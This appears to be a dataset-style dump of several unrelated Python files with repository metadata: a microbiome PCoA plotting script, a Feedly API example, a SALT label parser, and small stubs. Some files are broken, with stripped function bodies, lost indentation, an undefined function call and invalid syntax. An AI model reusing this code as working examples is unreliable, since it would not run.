] | null | null | null | UniPCoA.py | AdeBC/UniRPyCoA | f5b54297daf07856d9a88ebc8e6277e7be9b7ecc | [
"MIT"
] | null | null | null | UniPCoA.py | AdeBC/UniRPyCoA | f5b54297daf07856d9a88ebc8e6277e7be9b7ecc | [
"MIT"
] | null | null | null | import os
import pandas as pd
from plotnine import *
import plotnine
from matplotlib import pyplot as plt
import matplotlib
from scipy.spatial.distance import pdist, squareform
from skbio.stats.ordination import pcoa
from skbio.diversity import beta_diversity
from skbio.io import read
from skbio.tree import TreeNode
import argparse
from scipy.spatial.distance import pdist, squareform
if __name__ == '__main__':
matplotlib.rcParams['pdf.fonttype'] = 42
matplotlib.rcParams['ps.fonttype'] = 42
parser = argparse.ArgumentParser()
parser.add_argument('-i', '--abundance', type=str, default='species_abundance.csv', help='The input abundance data, columns represent samples and rows represent taxa.')
parser.add_argument('-m', '--metadata', type=str, default='metadata.csv', help='The input metadata, use column "Env" to specify the group of the input samples.')
parser.add_argument('-o', '--output', type=str, default='PLots.Unifrac', help='The folder to save output table and plots.')
parser.add_argument('-t', '--tree', type=str, default='LTPs132_SSU_tree.newick', help='The input phylogenetic tree, in Newick format.')
parser.add_argument('--metric', type=str, default='weighted_unifrac', help='The metric for beta_diversity calculation.')
args = parser.parse_args()
print('Loading data...')
X = pd.read_csv(args.abundance, index_col=0).T
Y = pd.read_csv(args.metadata).set_index('SampleID')
use_phylogeny = args.metric in ['weighted_unifrac', 'unweighted_unifrac']
if use_phylogeny:
tree = loadTree(tree=args.tree)
print('Processing the phylogenetic tree...')
for n in tree.postorder():
if n.name != None and '_ ' in n.name:
n.name = n.name.split('_ ')[1]
names = [n.name for n in tree.postorder()]
print('Processing the abundance data...')
ids = X.index.tolist()
otu_ids = X.columns.tolist()
X = X.reset_index().melt(id_vars=['index'], value_vars=X.columns, var_name='taxonomy', value_name='abundance')
taxa = pd.DataFrame(X.taxonomy.apply(lambda x: dict(map(lambda y: y.split('__'), filter(lambda x: not x.endswith('__'), x.split(';'))))).tolist())
X = pd.concat([X.drop(columns=['taxonomy']), taxa], axis=1)
X = X.melt(id_vars=['index','abundance'], value_vars=taxa.columns, var_name='rank', value_name='taxonomy')
X = X.groupby(by=['index', 'taxonomy'], as_index=False).sum().pivot_table(columns='taxonomy', index='index', values='abundance')
if use_phylogeny:
X = X.loc[:, X.columns.to_series().isin(names)]
ids = X.index.tolist()
otu_ids = X.columns.tolist()
try:
print('Trying calculating {} beta_diversity using scikit-bio & scikit-learn package...'.format(args.metric))
print('This could be time-consuming.')
if use_phylogeny:
mat = beta_diversity(args.metric, X, ids, tree=tree, otu_ids=otu_ids, validate=False).data
else:
mat = beta_diversity(args.metric, X, ids, otu_ids=otu_ids, validate=False).data
except ValueError:
print('Failed, the metric you selected is not supported by neither scikit-bio nor scikit-learn.')
print('Trying using SciPy...')
mat = squareform(pdist(X, metric=args.metric))
print('Succeeded!')
pcs = pd.DataFrame(pcoa(mat, number_of_dimensions=2).samples.values.tolist(), index=X.index, columns=['PC1', 'PC2'])
pcs = pd.concat([pcs, Y], axis=1)
print('Visualizing the data using plotnine package...')
p = (ggplot(pcs, aes(x='PC1', y='PC2', color='Env'))
+ geom_point(size=0.2)
+ scale_color_manual(['#E64B35FF','#4DBBD5FF','#00A087FF','#3C5488FF','#F39B7FFF','#8491B4FF','#91D1C2FF'])
+ theme(panel_grid_major = element_blank(), panel_grid_minor = element_blank(), panel_background = element_blank())
+ theme(axis_line = element_line(color="gray", size = 1))
+ stat_ellipse()
+ xlab('PC1')
+ ylab('PC2')
)
box_1 = (ggplot(pcs, aes(x='Env', y='PC1', color='Env'))
+ geom_boxplot(width=0.3, show_legend=False)
+ scale_color_manual(['#E64B35FF','#4DBBD5FF','#00A087FF','#3C5488FF','#F39B7FFF','#8491B4FF','#91D1C2FF'])
+ theme(figure_size=[4.8, 1])
+ theme(panel_grid_major = element_blank(), panel_grid_minor = element_blank(), panel_background = element_blank())
+ theme(axis_line = element_line(color="gray", size = 1))
+ xlab('Env')
+ ylab('PC1')
+ coord_flip()
)
box_2 = (ggplot(pcs, aes(x='Env', y='PC2', color='Env'))
+ geom_boxplot(width=0.3, show_legend=False)
+ scale_color_manual(['#E64B35FF','#4DBBD5FF','#00A087FF','#3C5488FF','#F39B7FFF','#8491B4FF','#91D1C2FF'])
+ theme(figure_size=[4.8, 1])
+ theme(panel_grid_major = element_blank(), panel_grid_minor = element_blank(), panel_background = element_blank())
+ theme(axis_line = element_line(color="gray", size = 1))
+ xlab('Env')
+ ylab('PC2')
+ coord_flip()
)
if not os.path.isdir(args.output):
os.mkdir(args.output)
p.save(os.path.join(args.output, 'PCoA.pdf'), width=4.8, height=4.8)
box_1.save(os.path.join(args.output, 'PC1_boxplot.pdf'), width=4.8, height=1)
box_2.save(os.path.join(args.output, 'PC2_boxplot.pdf'), width=4.8, height=1)
pcs.to_csv(os.path.join(args.output, 'Principle_coordinations.csv'))
print('Plots are saved in {}. Import them into Illustrator for further improvements.'.format(args.output)) | 49.092593 | 169 | 0.704828 |
bb77128dc910f27388f4e518fef5f850a41210e0 | 357 | py | Python | web/impact/impact/graphql/types/location_type.py | masschallenge/impact-api | 81075ced8fcc95de9390dd83c15e523e67fc48c0 | [
"MIT"
] | 5 | 2017-10-19T15:11:52.000Z | 2020-03-08T07:16:21.000Z | web/impact/impact/graphql/types/location_type.py | masschallenge/impact-api | 81075ced8fcc95de9390dd83c15e523e67fc48c0 | [
"MIT"
] | 182 | 2017-06-21T19:32:13.000Z | 2021-03-22T13:38:16.000Z | web/impact/impact/graphql/types/location_type.py | masschallenge/impact-api | 81075ced8fcc95de9390dd83c15e523e67fc48c0 | [
"MIT"
] | 1 | 2018-06-23T11:53:18.000Z | 2018-06-23T11:53:18.000Z | from graphene_django import DjangoObjectType
from accelerator.models import Location
| 18.789474 | 44 | 0.521008 |
bb7baf8c8805cb067d4cf73845cfee7e1f0d116f | 2,835 | py | Python | invoice/spy/notify_osd.py | simone-campagna/invoice | 6446cf6ebb158b895cd11d707eb019ae23833881 | [
"Apache-2.0"
] | null | null | null | invoice/spy/notify_osd.py | simone-campagna/invoice | 6446cf6ebb158b895cd11d707eb019ae23833881 | [
"Apache-2.0"
] | 16 | 2015-01-30T16:28:54.000Z | 2015-03-02T14:18:56.000Z | invoice/spy/notify_osd.py | simone-campagna/invoice | 6446cf6ebb158b895cd11d707eb019ae23833881 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
#
# Copyright 2015 Simone Campagna
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
__author__ = "Simone Campagna"
__all__ = [
'available'
'notify',
]
import os
try: # pragma: no cover
import notify2
HAS_NOTIFY2 = True
except ImportError:
HAS_NOTIFY2 = False
from . import text_formatter
_NOTIFICATION = None
_PACKAGE_DIR = os.path.dirname(__file__)
_ICONS = {
'info': os.path.join(_PACKAGE_DIR, 'icons', 'logo_info.jpg'),
'warning': os.path.join(_PACKAGE_DIR, 'icons', 'logo_warning.jpg'),
'error': os.path.join(_PACKAGE_DIR, 'icons', 'logo_error.jpg'),
}
if HAS_NOTIFY2: # pragma: no cover
else:
notify = None
| 35 | 114 | 0.65679 |
bb7bc4b7cb8f753fbf39ae6cb16944a05b0ab207 | 3,878 | py | Python | src/discoursegraphs/readwrite/salt/labels.py | arne-cl/discoursegraphs | 4e14688e19c980ac9bbac75ff1bf5d751ef44ac3 | [
"BSD-3-Clause"
] | 41 | 2015-02-20T00:35:39.000Z | 2022-03-15T13:54:13.000Z | src/discoursegraphs/readwrite/salt/labels.py | arne-cl/discoursegraphs | 4e14688e19c980ac9bbac75ff1bf5d751ef44ac3 | [
"BSD-3-Clause"
] | 68 | 2015-01-09T18:07:38.000Z | 2021-10-06T16:30:43.000Z | src/discoursegraphs/readwrite/salt/labels.py | arne-cl/discoursegraphs | 4e14688e19c980ac9bbac75ff1bf5d751ef44ac3 | [
"BSD-3-Clause"
] | 8 | 2015-02-20T00:35:48.000Z | 2021-10-30T14:09:03.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
This module handles the parsing of SALT labels.
There are three types of labels (SFeature, SElementId, SAnnotation).
Labels can occur as children of these elements: 'layers', 'nodes', 'edges'
and '{sDocumentStructure}SDocumentGraph'.
"""
from lxml.builder import ElementMaker
from discoursegraphs.readwrite.salt.util import (get_xsi_type, string2xmihex,
NAMESPACES)
XSI = "http://www.w3.org/2001/XMLSchema-instance"
def get_namespace(label):
"""
returns the namespace of an etree element or None, if the element
doesn't have that attribute.
"""
if 'namespace' in label.attrib:
return label.attrib['namespace']
else:
return None
def get_annotation(label):
"""
returns an annotation (key, value) tuple given an etree element
(with tag 'labels' and xsi type 'SAnnotation'), e.g. ('tiger.pos', 'ART')
"""
assert get_xsi_type(label) == 'saltCore:SAnnotation'
return (label.attrib['name'], label.attrib['valueString'])
| 35.577982 | 79 | 0.60624 |
bb7c19c39a756e836f832fe37756f912b98af313 | 1,214 | py | Python | examples/stream_entries.py | feedly/python-api-client | a211734a77337145efa0d1a1ddfe484f74530998 | [
"MIT"
] | 31 | 2018-08-20T08:35:09.000Z | 2022-03-21T04:17:27.000Z | examples/stream_entries.py | feedly/python-api-client | a211734a77337145efa0d1a1ddfe484f74530998 | [
"MIT"
] | 8 | 2018-10-17T18:09:44.000Z | 2021-12-14T10:03:34.000Z | examples/stream_entries.py | feedly/python-api-client | a211734a77337145efa0d1a1ddfe484f74530998 | [
"MIT"
] | 7 | 2018-09-04T01:10:48.000Z | 2021-08-19T11:07:54.000Z | from feedly.api_client.session import FeedlySession
from feedly.api_client.stream import StreamOptions
from feedly.api_client.utils import run_example
def example_stream_entries():
"""
This example will prompt you to enter a category name, download the 10 latest articles from it, and display their
titles.
"""
# Prompt for the category name/id to use
user_category_name_or_id = input("> User category name or id: ")
# Create the session using the default auth directory
session = FeedlySession()
# Fetch the category by its name/id
# To use an enterprise category, change to `session.user.enterprise_categories`. Tags are also supported.
category = session.user.user_categories.get(user_category_name_or_id)
# Stream 10 articles with their contents from the category
for article in category.stream_contents(options=StreamOptions(max_count=10)):
# Print the title of each article
print(article["title"])
if __name__ == "__main__":
# Will prompt for the token if missing, and launch the example above
# If a token expired error is raised, will prompt for a new token and restart the example
run_example(example_stream_entries)
| 39.16129 | 117 | 0.74547 |
bb809b94005596a2a1d4a23ab288a44cc7045e25 | 141 | py | Python | program5.py | kashifrepo/Python-Saylani | 1ac9fe05012ad716d4ef30d771d9828f91221ac6 | [
"Apache-2.0"
] | null | null | null | program5.py | kashifrepo/Python-Saylani | 1ac9fe05012ad716d4ef30d771d9828f91221ac6 | [
"Apache-2.0"
] | null | null | null | program5.py | kashifrepo/Python-Saylani | 1ac9fe05012ad716d4ef30d771d9828f91221ac6 | [
"Apache-2.0"
] | null | null | null | # Program no 5
1stname = input(" Enter 1st name ")
lastname = input(" Enter last name ")
print 1stname[::-1]
print lastname[::-1] | 20.142857 | 38 | 0.617021 |